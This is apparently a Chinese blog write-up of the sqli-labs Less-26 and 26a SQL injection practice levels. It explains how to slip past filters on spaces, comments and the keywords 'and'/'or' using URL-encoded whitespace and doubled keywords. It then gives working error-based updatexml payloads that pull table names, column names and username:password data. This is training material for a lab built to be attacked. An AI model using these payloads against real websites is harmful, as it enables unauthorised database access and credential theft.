这关油条加你的可以试试linux搭建sqlilabs这样比较简单。
需要注意的
本关可能有的朋友在 windows 下无法使用一些特殊的字符代替空格,此处是因为 apache 的解析的问题,这里请更换到 linux 平台下。
本关结合 25 关,将空格,or,and,/*,#,--,/等各种符号过滤,此处对于 and,or 的处理方法不再赘述,参考 25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ’ 来闭合后面到 ’ ;对于空格,有较多的方法:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空
Less-26(GET - Error based - All your SPACES and COMMENTS belong to us)
手工注入
这里我就用windows来完成了,使用的是报错注入。
?id=1'--+
?id=1'#
?id=1' OR 1 = 1--+
?id=1' AND 1 = 1--+
?id=1'/*
?id=1'/
?id=1'\
这些全部被过滤了。
但是单引号没有过滤,下面能清晰看到单引号的存在。
看来我们只能利用逻辑来绕过了。
?id=-1' || 1 = 1 || '
查询数据库名
?id=-1' || updatexml(1,concat(0x7e,database()),1) || '1'='1
查询表名
?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema=database()))) ,1) || '1'='1
查询列名
?id=1'||updatexml(1,concat(1,(SELECT (group_concat(column_name)) FROM (infoorrmation_schema.columns) WHERE (table_schema='security' %26%26 table_name = 'users'))) ,1) || '1'='1
查询数据
?id=-1' || updatexml(1,concat(0x0a,(SELECT(group_concat(concat_ws(0x3a,username,passwoorrd))) FROM (security.users) WHERE (id = 1) )) ,1) || '1'='1
这次能查到数据。
自动化脚本注入工具
和之前是一样的
(2条消息) sqli-labs第一二关_himobrinehacken的博客-CSDN博客
Less-26a(GET - Error based - All your SPACES and COMMENTS belong to us - string single quuotes - Parenthrsis)
手工注入
和上一关一样,只是做了注释报错的操作,可以当成盲注解决。
(2条消息) sqli-labs第五六关_himobrinehacken的博客-CSDN博客
自动化脚本注入
和上一关一样
(2条消息) sqli-labs第一二关_himobrinehacken的博客-CSDN博客